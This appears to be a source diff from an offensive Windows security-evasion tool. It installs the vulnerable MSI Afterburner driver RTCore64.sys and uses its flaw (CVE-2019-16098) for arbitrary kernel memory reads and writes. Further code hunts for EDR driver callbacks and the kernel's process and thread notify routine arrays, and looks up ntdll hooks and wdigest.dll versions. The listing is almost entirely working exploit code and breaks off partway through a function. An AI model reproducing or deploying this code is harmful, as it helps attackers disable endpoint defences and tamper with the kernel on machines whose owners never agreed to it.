void getNtdllPEs(PE** ntdllPE_mem, PE** ntdllPE_disk) {
|
||||||
|
LDR_DATA_TABLE_ENTRY* ntdllModuleEntry = getModuleEntryFromNameW(L"ntdll.dll");
|
||||||
|
PE* ntdllPE_mem_l = NULL;
|
||||||
|
PE* ntdllPE_disk_l = NULL;
|
||||||
|
|
||||||
|
if (ntdllMemPe_g == NULL) {
|
||||||
|
ntdllMemPe_g = ntdllPE_mem_l = PE_create(ntdllModuleEntry->DllBase, TRUE);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
ntdllPE_mem_l = ntdllMemPe_g;
|
||||||
|
}
|
||||||
|
if (ntdllDiskPe_g == NULL) {
|
||||||
|
PVOID disk_dllContent = readFullFileW(ntdllModuleEntry->FullDllName.Buffer);
|
||||||
|
if (NULL == disk_dllContent) {
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
ntdllDiskPe_g = ntdllPE_disk_l = PE_create(disk_dllContent, FALSE);
|
||||||
|
PE_rebasePE(ntdllPE_disk_l, ntdllPE_mem_l->baseAddress);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
ntdllPE_disk_l = ntdllDiskPe_g;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (ntdllPE_mem) {
|
||||||
|
*ntdllPE_mem = ntdllPE_mem_l;
|
||||||
|
}
|
||||||
|
if (ntdllPE_disk) {
|
||||||
|
*ntdllPE_disk = ntdllPE_disk_l;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void test_trampoline_search()
|
||||||
|
{
|
||||||
|
for (hook* h = searchHooks(NULL); h->disk_function; ++h)
|
||||||
|
{
|
||||||
|
PVOID trampoline = NULL;
|
||||||
|
printf("Looking for %s trampoline ...\n", h->functionName);
|
||||||
|
for (diff* d = h->list_patches; d->disk_ptr; ++d)
|
||||||
|
{
|
||||||
|
trampoline = (PBYTE)searchTrampolineInExecutableMemory((PBYTE)d->disk_ptr, d->size, (PBYTE)d->mem_ptr + d->size);
|
||||||
|
if (trampoline)
|
||||||
|
{
|
||||||
|
printf("\tTrampoline found at %p !\n", trampoline);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (!trampoline)
|
||||||
|
printf("\tTRAMPOLINE NOT FOUND !\n");
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,200 @@
|
|||||||
|
/*
|
||||||
|
|
||||||
|
--- Driver install / uninstall functions.
|
||||||
|
--- Source and credit: https://github.com/gentilkiwi/mimikatz
|
||||||
|
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include "DriverOps.h"
|
||||||
|
|
||||||
|
BOOL ServiceAddEveryoneAccess(SC_HANDLE serviceHandle) {
|
||||||
|
BOOL status = FALSE;
|
||||||
|
DWORD dwSizeNeeded;
|
||||||
|
PSECURITY_DESCRIPTOR oldSd, newSd;
|
||||||
|
SECURITY_DESCRIPTOR dummySdForXP;
|
||||||
|
SID_IDENTIFIER_AUTHORITY SIDAuthWorld = SECURITY_WORLD_SID_AUTHORITY;
|
||||||
|
|
||||||
|
EXPLICIT_ACCESS ForEveryoneACL = {
|
||||||
|
SERVICE_QUERY_STATUS | SERVICE_QUERY_CONFIG | SERVICE_INTERROGATE | SERVICE_ENUMERATE_DEPENDENTS | SERVICE_PAUSE_CONTINUE | SERVICE_START | SERVICE_STOP | SERVICE_USER_DEFINED_CONTROL | READ_CONTROL,
|
||||||
|
SET_ACCESS,
|
||||||
|
NO_INHERITANCE,
|
||||||
|
{NULL, NO_MULTIPLE_TRUSTEE, TRUSTEE_IS_SID, TRUSTEE_IS_WELL_KNOWN_GROUP, NULL}
|
||||||
|
};
|
||||||
|
|
||||||
|
if (!QueryServiceObjectSecurity(serviceHandle, DACL_SECURITY_INFORMATION, &dummySdForXP, 0, &dwSizeNeeded) && (GetLastError() == ERROR_INSUFFICIENT_BUFFER)) {
|
||||||
|
oldSd = (PSECURITY_DESCRIPTOR)LocalAlloc(LPTR, dwSizeNeeded);
|
||||||
|
if (oldSd) {
|
||||||
|
if (QueryServiceObjectSecurity(serviceHandle, DACL_SECURITY_INFORMATION, oldSd, dwSizeNeeded, &dwSizeNeeded)) {
|
||||||
|
if (AllocateAndInitializeSid(&SIDAuthWorld, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, (PSID*)&ForEveryoneACL.Trustee.ptstrName)) {
|
||||||
|
|
||||||
|
if (BuildSecurityDescriptor(NULL, NULL, 1, &ForEveryoneACL, 0, NULL, oldSd, &dwSizeNeeded, &newSd) == ERROR_SUCCESS) {
|
||||||
|
status = SetServiceObjectSecurity(serviceHandle, DACL_SECURITY_INFORMATION, newSd);
|
||||||
|
LocalFree(newSd);
|
||||||
|
}
|
||||||
|
|
||||||
|
FreeSid(ForEveryoneACL.Trustee.ptstrName);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
LocalFree(oldSd);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return status;
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD ServiceInstall(PCTSTR serviceName, PCTSTR displayName, PCTSTR binPath, DWORD serviceType, DWORD startType, BOOL startIt) {
|
||||||
|
SC_HANDLE hSC = NULL, hS = NULL;
|
||||||
|
|
||||||
|
hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE);
|
||||||
|
if (hSC) {
|
||||||
|
hS = OpenService(hSC, serviceName, SERVICE_START);
|
||||||
|
if (hS) {
|
||||||
|
_tprintf(TEXT("[+] \'%s\' service already registered\n"), serviceName);
|
||||||
|
}
|
||||||
|
|
||||||
|
else {
|
||||||
|
if (GetLastError() == ERROR_SERVICE_DOES_NOT_EXIST) {
|
||||||
|
_tprintf(TEXT("[*] \'%s\' service not present\n"), serviceName);
|
||||||
|
|
||||||
|
hS = CreateService(hSC, serviceName, displayName, READ_CONTROL | WRITE_DAC | SERVICE_START, serviceType, startType, SERVICE_ERROR_NORMAL, binPath, NULL, NULL, NULL, NULL, NULL);
|
||||||
|
|
||||||
|
if (hS) {
|
||||||
|
_tprintf(TEXT("[+] \'%s\' service successfully registered\n"), serviceName);
|
||||||
|
if (ServiceAddEveryoneAccess(hS)) {
|
||||||
|
_tprintf(TEXT("[+] \'%s\' service ACL to everyone\n"), serviceName);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
_tprintf(TEXT("[!] ServiceAddEveryoneAccess"));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
PRINT_ERROR_AUTO(TEXT("CreateService"));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
PRINT_ERROR_AUTO(TEXT("OpenService"));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (hS) {
|
||||||
|
if (startIt) {
|
||||||
|
if (StartService(hS, 0, NULL)) {
|
||||||
|
_tprintf(TEXT("[+] \'%s\' service started\n"), serviceName);
|
||||||
|
}
|
||||||
|
else if (GetLastError() == ERROR_SERVICE_ALREADY_RUNNING) {
|
||||||
|
_tprintf(TEXT("[*] \'%s\' service already started\n"), serviceName);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
PRINT_ERROR_AUTO(TEXT("StartService"));
|
||||||
|
return GetLastError();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
CloseServiceHandle(hS);
|
||||||
|
}
|
||||||
|
CloseServiceHandle(hSC);
|
||||||
|
}
|
||||||
|
|
||||||
|
else {
|
||||||
|
PRINT_ERROR_AUTO(TEXT("OpenSCManager(create)"));
|
||||||
|
return GetLastError();
|
||||||
|
}
|
||||||
|
return 0x0;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL ServiceGenericControl(PCTSTR serviceName, DWORD dwDesiredAccess, DWORD dwControl, LPSERVICE_STATUS ptrServiceStatus) {
|
||||||
|
BOOL status = FALSE;
|
||||||
|
SC_HANDLE hSC, hS;
|
||||||
|
SERVICE_STATUS serviceStatus;
|
||||||
|
|
||||||
|
hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT);
|
||||||
|
if (hSC) {
|
||||||
|
hS = OpenService(hSC, serviceName, dwDesiredAccess);
|
||||||
|
if (hS) {
|
||||||
|
status = ControlService(hS, dwControl, ptrServiceStatus ? ptrServiceStatus : &serviceStatus);
|
||||||
|
CloseServiceHandle(hS);
|
||||||
|
}
|
||||||
|
CloseServiceHandle(hSC);
|
||||||
|
}
|
||||||
|
return status;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL ServiceUninstall(PCTSTR serviceName, DWORD attemptCount) {
|
||||||
|
|
||||||
|
// Used as a stop point for recursive calls to ServiceUninstall.
|
||||||
|
if (attemptCount > MAX_UNINSTALL_ATTEMPTS) {
|
||||||
|
_tprintf(TEXT("[!] Reached maximun number of attempts (%i) to uninstall the service \'%s\'\n"), MAX_UNINSTALL_ATTEMPTS, serviceName);
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (ServiceGenericControl(serviceName, SERVICE_STOP, SERVICE_CONTROL_STOP, NULL)) {
|
||||||
|
_tprintf(TEXT("[+] \'%s\' service stopped\n"), serviceName);
|
||||||
|
}
|
||||||
|
else if (GetLastError() == ERROR_SERVICE_NOT_ACTIVE) {
|
||||||
|
_tprintf(TEXT("[*] \'%s\' service not running\n"), serviceName);
|
||||||
|
}
|
||||||
|
else if (GetLastError() == ERROR_SERVICE_CANNOT_ACCEPT_CTRL) {
|
||||||
|
_tprintf(TEXT("[*] \'%s\' service cannot accept control messages at this time, waiting...\n"), serviceName);
|
||||||
|
Sleep(OP_SLEEP_TIME);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
PRINT_ERROR_AUTO(TEXT("ServiceUninstall"));
|
||||||
|
Sleep(OP_SLEEP_TIME);
|
||||||
|
return ServiceUninstall(serviceName, attemptCount + 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
SERVICE_STATUS status;
|
||||||
|
BOOL deleted = FALSE;
|
||||||
|
SC_HANDLE hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT);
|
||||||
|
if (hSC) {
|
||||||
|
SC_HANDLE hS = OpenService(hSC, serviceName, SERVICE_QUERY_STATUS | DELETE);
|
||||||
|
if (hS) {
|
||||||
|
if (QueryServiceStatus(hS, &status)) {
|
||||||
|
if (!(status.dwCurrentState == SERVICE_STOPPED)) {
|
||||||
|
CloseServiceHandle(hS);
|
||||||
|
CloseServiceHandle(hSC);
|
||||||
|
Sleep(OP_SLEEP_TIME);
|
||||||
|
return ServiceUninstall(serviceName, attemptCount + 1);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
deleted = DeleteService(hS);
|
||||||
|
CloseServiceHandle(hS);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
CloseServiceHandle(hSC);
|
||||||
|
}
|
||||||
|
if (!deleted) {
|
||||||
|
Sleep(OP_SLEEP_TIME);
|
||||||
|
return ServiceUninstall(serviceName, attemptCount + 1);
|
||||||
|
}
|
||||||
|
return deleted;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
/*
|
||||||
|
|
||||||
|
--- Vulnerable Micro-Star MSI Afterburner driver install / uninstall functions.
|
||||||
|
--- The "RTCore64.sys" (SHA256: 01AA278B07B58DC46C84BD0B1B5C8E9EE4E62EA0BF7A695862444AF32E87F1FD) file must be present in the current directory if --driver is not specified.
|
||||||
|
|
||||||
|
*/
|
||||||
|
|
||||||
|
BOOL InstallVulnerableDriver(TCHAR* driverPath) {
|
||||||
|
const TCHAR svcDesc[] = TEXT("");
|
||||||
|
|
||||||
|
DWORD status = ServiceInstall(gVulnDriverServiceName, svcDesc, driverPath, SERVICE_KERNEL_DRIVER, SERVICE_AUTO_START, TRUE);
|
||||||
|
|
||||||
|
if (status == 0x00000005) {
|
||||||
|
_tprintf(TEXT("[!] 0x00000005 - Access Denied when attempting to install the driver - Did you run as administrator?\n"));
|
||||||
|
}
|
||||||
|
|
||||||
|
return status == 0x0;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL UninstallVulnerableDriver() {
|
||||||
|
BOOL status = ServiceUninstall(gVulnDriverServiceName, 0);
|
||||||
|
|
||||||
|
if (!status) {
|
||||||
|
PRINT_ERROR_AUTO(TEXT("ServiceUninstall"));
|
||||||
|
}
|
||||||
|
|
||||||
|
return status;
|
||||||
|
}
|
||||||
@@ -0,0 +1,70 @@
|
|||||||
|
/*
|
||||||
|
|
||||||
|
--- ntoskrnl.exe / wdigest.dll version compute functions.
|
||||||
|
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include "FileVersion.h"
|
||||||
|
|
||||||
|
void GetFileVersion(TCHAR* buffer, SIZE_T bufferLen, TCHAR* filename) {
|
||||||
|
DWORD verHandle = 0;
|
||||||
|
UINT size = 0;
|
||||||
|
LPVOID lpBuffer = NULL;
|
||||||
|
|
||||||
|
DWORD verSize = GetFileVersionInfoSize(filename, &verHandle);
|
||||||
|
|
||||||
|
if (verSize != 0) {
|
||||||
|
LPTSTR verData = (LPTSTR)calloc(verSize, 1);
|
||||||
|
|
||||||
|
if (!verData) {
|
||||||
|
_tprintf(TEXT("[!] Couldn't allocate memory to retrieve version data\n"));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (GetFileVersionInfo(filename, 0, verSize, verData)) {
|
||||||
|
if (VerQueryValue(verData, TEXT("\\"), &lpBuffer, &size)) {
|
||||||
|
if (size) {
|
||||||
|
VS_FIXEDFILEINFO* verInfo = (VS_FIXEDFILEINFO*)lpBuffer;
|
||||||
|
if (verInfo->dwSignature == 0xfeef04bd) {
|
||||||
|
DWORD majorVersion = (verInfo->dwFileVersionLS >> 16) & 0xffff;
|
||||||
|
DWORD minorVersion = (verInfo->dwFileVersionLS >> 0) & 0xffff;
|
||||||
|
_stprintf_s(buffer, bufferLen, TEXT("%ld-%ld"), majorVersion, minorVersion);
|
||||||
|
// _tprintf(TEXT("File Version: %d.%d\n"), majorVersion, minorVersion);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
free(verData);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void GetNtoskrnlVersion(TCHAR* ntoskrnlVersion) {
|
||||||
|
// Retrieves the system folder (eg C:\Windows\System32).
|
||||||
|
TCHAR systemDirectory[MAX_PATH] = { 0 };
|
||||||
|
GetSystemDirectory(systemDirectory, _countof(systemDirectory));
|
||||||
|
|
||||||
|
// Compute ntoskrnl.exe path.
|
||||||
|
TCHAR ntoskrnlPath[MAX_PATH] = { 0 };
|
||||||
|
_tcscat_s(ntoskrnlPath, _countof(ntoskrnlPath), systemDirectory);
|
||||||
|
_tcscat_s(ntoskrnlPath, _countof(ntoskrnlPath), TEXT("\\ntoskrnl.exe"));
|
||||||
|
|
||||||
|
TCHAR versionBuffer[256] = { 0 };
|
||||||
|
GetFileVersion(versionBuffer, _countof(versionBuffer), ntoskrnlPath);
|
||||||
|
_stprintf_s(ntoskrnlVersion, 256, TEXT("ntoskrnl_%s.exe"), versionBuffer);
|
||||||
|
}
|
||||||
|
|
||||||
|
void GetWdigestVersion(TCHAR* wdigestVersion) {
|
||||||
|
// Retrieves the system folder (eg C:\Windows\System32).
|
||||||
|
TCHAR systemDirectory[MAX_PATH] = { 0 };
|
||||||
|
GetSystemDirectory(systemDirectory, _countof(systemDirectory));
|
||||||
|
|
||||||
|
// Compute ntoskrnl.exe path.
|
||||||
|
TCHAR wdigestPath[MAX_PATH] = { 0 };
|
||||||
|
_tcscat_s(wdigestPath, _countof(wdigestPath), systemDirectory);
|
||||||
|
_tcscat_s(wdigestPath, _countof(wdigestPath), TEXT("\\wdigest.dll"));
|
||||||
|
|
||||||
|
TCHAR versionBuffer[256] = { 0 };
|
||||||
|
GetFileVersion(versionBuffer, _countof(versionBuffer), wdigestPath);
|
||||||
|
|
||||||
|
_stprintf_s(wdigestVersion, 256, TEXT("wdigest_%s.dll"), versionBuffer);
|
||||||
|
}
|
||||||
@@ -0,0 +1,178 @@
|
|||||||
|
/*
|
||||||
|
|
||||||
|
--- Kernel memory Read / Write primitives through the vulnerable Micro-Star MSI Afterburner driver.
|
||||||
|
--- Source and credit: https://github.com/Barakat/CVE-2019-16098/blob/master/CVE-2019-16098.cpp
|
||||||
|
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include "KernelMemoryPrimitives.h"
|
||||||
|
|
||||||
|
static_assert(sizeof(struct RTCORE64_MSR_READ) == 12, "sizeof RTCORE64_MSR_READ must be 12 bytes");
|
||||||
|
static_assert(sizeof(struct RTCORE64_MEMORY_READ) == 48, "sizeof RTCORE64_MEMORY_READ must be 48 bytes");
|
||||||
|
static_assert(sizeof(struct RTCORE64_MEMORY_WRITE) == 48, "sizeof RTCORE64_MEMORY_WRITE must be 48 bytes");
|
||||||
|
|
||||||
|
DWORD ReadMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address) {
|
||||||
|
struct RTCORE64_MEMORY_READ MemoryRead = { 0 };
|
||||||
|
MemoryRead.Address = Address;
|
||||||
|
MemoryRead.ReadSize = Size;
|
||||||
|
|
||||||
|
DWORD BytesReturned;
|
||||||
|
|
||||||
|
DeviceIoControl(Device,
|
||||||
|
RTCORE64_MEMORY_READ_CODE,
|
||||||
|
&MemoryRead,
|
||||||
|
sizeof(MemoryRead),
|
||||||
|
&MemoryRead,
|
||||||
|
sizeof(MemoryRead),
|
||||||
|
&BytesReturned,
|
||||||
|
NULL);
|
||||||
|
|
||||||
|
return MemoryRead.Value;
|
||||||
|
}
|
||||||
|
|
||||||
|
void WriteMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address, DWORD Value) {
|
||||||
|
struct RTCORE64_MEMORY_READ MemoryRead = { 0 };
|
||||||
|
MemoryRead.Address = Address;
|
||||||
|
MemoryRead.ReadSize = Size;
|
||||||
|
MemoryRead.Value = Value;
|
||||||
|
|
||||||
|
DWORD BytesReturned;
|
||||||
|
|
||||||
|
DeviceIoControl(Device,
|
||||||
|
RTCORE64_MEMORY_WRITE_CODE,
|
||||||
|
&MemoryRead,
|
||||||
|
sizeof(MemoryRead),
|
||||||
|
&MemoryRead,
|
||||||
|
sizeof(MemoryRead),
|
||||||
|
&BytesReturned,
|
||||||
|
NULL);
|
||||||
|
}
|
||||||
|
|
||||||
|
BYTE ReadMemoryBYTE(HANDLE Device, DWORD64 Address) {
|
||||||
|
return ReadMemoryPrimitive(Device, 1, Address) & 0xff;
|
||||||
|
}
|
||||||
|
|
||||||
|
WORD ReadMemoryWORD(HANDLE Device, DWORD64 Address) {
|
||||||
|
return ReadMemoryPrimitive(Device, 2, Address) & 0xffff;
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD ReadMemoryDWORD(HANDLE Device, DWORD64 Address) {
|
||||||
|
return ReadMemoryPrimitive(Device, 4, Address) & 0xffffffff;
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD64 ReadMemoryDWORD64(HANDLE Device, DWORD64 Address) {
|
||||||
|
return ((DWORD64)(ReadMemoryDWORD(Device, Address + 4)) << 32) | ReadMemoryDWORD(Device, Address);
|
||||||
|
}
|
||||||
|
|
||||||
|
void WriteMemoryBYTE(HANDLE Device, DWORD64 Address, DWORD64 Value) {
|
||||||
|
DWORD64 currentValue = ReadMemoryDWORD64(Device, Address);
|
||||||
|
Value = (currentValue & 0xFFFFFFFFFFFFFFF0) | (Value);
|
||||||
|
WriteMemoryPrimitive(Device, 4, Address, Value & 0xffffffff);
|
||||||
|
WriteMemoryPrimitive(Device, 4, Address + 4, Value >> 32);
|
||||||
|
}
|
||||||
|
|
||||||
|
void WriteMemoryWORD(HANDLE Device, DWORD64 Address, DWORD64 Value) {
|
||||||
|
DWORD64 currentValue = ReadMemoryDWORD64(Device, Address);
|
||||||
|
Value = (currentValue & 0xFFFFFFFFFFFFFF00) | (Value);
|
||||||
|
WriteMemoryPrimitive(Device, 4, Address, Value & 0xffffffff);
|
||||||
|
WriteMemoryPrimitive(Device, 4, Address + 4, Value >> 32);
|
||||||
|
}
|
||||||
|
|
||||||
|
void WriteMemoryDWORD64(HANDLE Device, DWORD64 Address, DWORD64 Value) {
|
||||||
|
WriteMemoryPrimitive(Device, 4, Address, Value & 0xffffffff);
|
||||||
|
WriteMemoryPrimitive(Device, 4, Address + 4, Value >> 32);
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
|
||||||
|
--- Kernel exploitation helpers.
|
||||||
|
--- Largely inspired from https://github.com/br-sn/CheekyBlinder
|
||||||
|
--- Source and credit: https://github.com/br-sn/CheekyBlinder/blob/master/CheekyBlinder/CheekyBlinder.cpp
|
||||||
|
|
||||||
|
*/
|
||||||
|
|
||||||
|
DWORD64 FindNtoskrnlBaseAddress(void) {
|
||||||
|
DWORD cbNeeded = 0;
|
||||||
|
LPVOID drivers[1024];
|
||||||
|
|
||||||
|
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) {
|
||||||
|
return (DWORD64)drivers[0];
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
TCHAR* FindDriver(DWORD64 address, BOOL verbose) {
|
||||||
|
|
||||||
|
LPVOID drivers[1024];
|
||||||
|
DWORD cbNeeded;
|
||||||
|
int cDrivers = 0;
|
||||||
|
int i = 0;
|
||||||
|
TCHAR szDriver[1024] = { 0 };
|
||||||
|
DWORD64 minDiff = MAXDWORD64;
|
||||||
|
DWORD64 diff;
|
||||||
|
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) {
|
||||||
|
cDrivers = cbNeeded / sizeof(drivers[0]);
|
||||||
|
for (i = 0; i < cDrivers; i++) {
|
||||||
|
if ((DWORD64)drivers[i] <= address) {
|
||||||
|
diff = address - (DWORD64)drivers[i];
|
||||||
|
if (diff < minDiff) {
|
||||||
|
minDiff = diff;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
_tprintf(TEXT("[!] Could not resolve driver for 0x%I64x, an EDR driver might be missed\n"), address);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (GetDeviceDriverBaseName((LPVOID)(address - minDiff), szDriver, _countof(szDriver))) {
|
||||||
|
|
||||||
|
if (verbose) {
|
||||||
|
_tprintf(TEXT("[+] %016llx [%s + 0x%llx]\n"), address, szDriver, minDiff);
|
||||||
|
}
|
||||||
|
|
||||||
|
TCHAR* const ptrDrvier = (LPTSTR)calloc(1024, sizeof(TCHAR));
|
||||||
|
|
||||||
|
if (!ptrDrvier) {
|
||||||
|
_tprintf(TEXT("[!] Couldn't allocate memory to retrieve the driver pointer\n"));
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
_tcscpy_s(ptrDrvier, 1024, szDriver);
|
||||||
|
return ptrDrvier;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
_tprintf(TEXT("[!] Could not resolve driver for 0x%I64x, an EDR driver might be missed\n"), address);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
HANDLE GetDriverHandle() {
|
||||||
|
TCHAR service[MAX_PATH] = { 0 };
|
||||||
|
TCHAR suffix[] = TEXT("\\\\.\\");
|
||||||
|
_tcsncat_s(service, _countof(service), suffix, _countof(suffix));
|
||||||
|
_tcsncat_s(service, _countof(service), gVulnDriverServiceName, _tcslen(gVulnDriverServiceName));
|
||||||
|
HANDLE Device = CreateFile(service, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
|
||||||
|
|
||||||
|
if (Device == INVALID_HANDLE_VALUE) {
|
||||||
|
_tprintf(TEXT("[!] Unable to obtain a handle to the vulnerable driver, exiting...\n"));
|
||||||
|
exit(EXIT_FAILURE);
|
||||||
|
}
|
||||||
|
|
||||||
|
return Device;
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD64 GetFunctionAddress(LPCSTR function) {
|
||||||
|
DWORD64 ntoskrnlBaseAddress = FindNtoskrnlBaseAddress();
|
||||||
|
DWORD64 address = 0;
|
||||||
|
HMODULE ntoskrnl = LoadLibrary(TEXT("ntoskrnl.exe"));
|
||||||
|
if (ntoskrnl) {
|
||||||
|
DWORD64 offset = (DWORD64)(GetProcAddress(ntoskrnl, function)) - (DWORD64)(ntoskrnl);
|
||||||
|
address = ntoskrnlBaseAddress + offset;
|
||||||
|
FreeLibrary(ntoskrnl);
|
||||||
|
}
|
||||||
|
// _tprintf(TEXT("[+] %s address: 0x%I64x\n"), function, address);
|
||||||
|
return address;
|
||||||
|
}
|
||||||
@@ -0,0 +1,81 @@
|
|||||||
|
/*
|
||||||
|
|
||||||
|
--- ntoskrnl Notify Routines' offsets search functions using patterns.
|
||||||
|
--- Ultimately not used because too unreliable and too prone to BSoD.
|
||||||
|
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include "KernelPatternSearch.h"
|
||||||
|
|
||||||
|
DWORD64 PatternSearchStartingFromAddress(HANDLE Device, DWORD64 startAddress, DWORD bytesToScan, DWORD64 pattern, DWORD64 mask) {
|
||||||
|
for (DWORD i = 0; i < bytesToScan; i++) {
|
||||||
|
DWORD64 instructionAddress = startAddress + i;
|
||||||
|
DWORD64 dword64Instruction = ReadMemoryDWORD64(Device, instructionAddress);
|
||||||
|
DWORD64 dword64InstructionFixed = dword64Instruction & mask;
|
||||||
|
// _tprintf(TEXT("i = %i, pattern = 0x%I64x, instructionAddress = 0x%I64x, wordInstruction = 0x%I64x, wordInstructionFixed = 0x%I64x\n"), i, pattern, instructionAddress, dword64Instruction, dword64InstructionFixed);
|
||||||
|
if (dword64InstructionFixed == pattern) {
|
||||||
|
_tprintf(TEXT("[+] Found pattern = 0x%I64x at offset i = %i [instructionAddress = 0x%I64x, wordInstruction = 0x%I64x, wordInstructionFixed = 0x%I64x]\n"), pattern, i, instructionAddress, dword64Instruction, dword64InstructionFixed);
|
||||||
|
return instructionAddress;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return 0x0;
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD64 ExtractRelativeAddress(HANDLE Device, DWORD64 instructionStartAddress, DWORD64 instructionRelativeAddressOffset, DWORD64 nextInstructionOffset) {
|
||||||
|
DWORD64 procedureRelativeAddress = (signed int)ReadMemoryDWORD64(Device, instructionStartAddress + instructionRelativeAddressOffset);
|
||||||
|
DWORD64 nextInstructionAddress = instructionStartAddress + nextInstructionOffset;
|
||||||
|
return nextInstructionAddress + procedureRelativeAddress;
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD64 GetPspCreateProcessNotifyRoutineAddressUsingPattern(void) {
|
||||||
|
_tprintf(TEXT("[*] Searching for PspCreateProcessNotifyRoutine address using pattern\n"));
|
||||||
|
HANDLE Device = GetDriverHandle();
|
||||||
|
|
||||||
|
// Extracting PspSetCreateProcessNotifyRoutine address in PsSetCreateProcessNotifyRoutine using the pattern "E8" (CALL) to match "[e80e010000] call nt!PspSetCreateProcessNotifyRoutine".
|
||||||
|
DWORD64 PsSetCreateProcessNotifyRoutineAddress = GetFunctionAddress("PsSetCreateProcessNotifyRoutine");
|
||||||
|
DWORD64 CallPspSetCreateProcessNotifyRoutineAddress = PatternSearchStartingFromAddress(Device, PsSetCreateProcessNotifyRoutineAddress, 64, 0x00000000000000E8, 0x00000000000000FF);
|
||||||
|
DWORD64 PspSetCreateProcessNotifyRoutineAddress = ExtractRelativeAddress(Device, CallPspSetCreateProcessNotifyRoutineAddress, 1, 5);
|
||||||
|
|
||||||
|
// Extracting PspCreateProcessNotifyRoutine address in PspSetCreateProcessNotifyRoutine using the pattern "4C 8D" (LEA 4C) to match "[4c8d2d371ddaff] lea r13,[nt!PspCreateProcessNotifyRoutine".
|
||||||
|
DWORD64 LeaPspCreateProcessNotifyRoutineAddress = PatternSearchStartingFromAddress(Device, PspSetCreateProcessNotifyRoutineAddress, 256, 0x0000000000008D48, 0x000000000000FFF8);
|
||||||
|
DWORD64 PspCreateProcessNotifyRoutineAddress = ExtractRelativeAddress(Device, LeaPspCreateProcessNotifyRoutineAddress, 3, 7);
|
||||||
|
_tprintf(TEXT("[+] Pattern search found PspCreateProcessNotifyRoutine address: 0x%I64x\n"), PspCreateProcessNotifyRoutineAddress);
|
||||||
|
|
||||||
|
CloseHandle(Device);
|
||||||
|
|
||||||
|
return PspCreateProcessNotifyRoutineAddress;
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD64 GetPspCreateThreadNotifyRoutineAddressUsingPattern(void) {
|
||||||
|
_tprintf(TEXT("[*] Searching for PspCreateThreadNotifyRoutine address using pattern\n"));
|
||||||
|
HANDLE Device = GetDriverHandle();
|
||||||
|
|
||||||
|
// Extracting nt!PspSetCreateThreadNotifyRoutine address in nt!PsSetCreateThreadNotifyRoutine using the pattern "E8" (CALL) to match "[e865000000] call nt!PspSetCreateThreadNotifyRoutine".
|
||||||
|
DWORD64 PsSetCreateThreadNotifyRoutineAddress = GetFunctionAddress("PsSetCreateThreadNotifyRoutine");
|
||||||
|
DWORD64 CallPspSetCreateThreadNotifyRoutineAddress = PatternSearchStartingFromAddress(Device, PsSetCreateThreadNotifyRoutineAddress, 64, 0x00000000000000E8, 0x00000000000000FF);
|
||||||
|
DWORD64 PspSetCreateThreadNotifyRoutineAddress = ExtractRelativeAddress(Device, CallPspSetCreateThreadNotifyRoutineAddress, 1, 5);
|
||||||
|
|
||||||
|
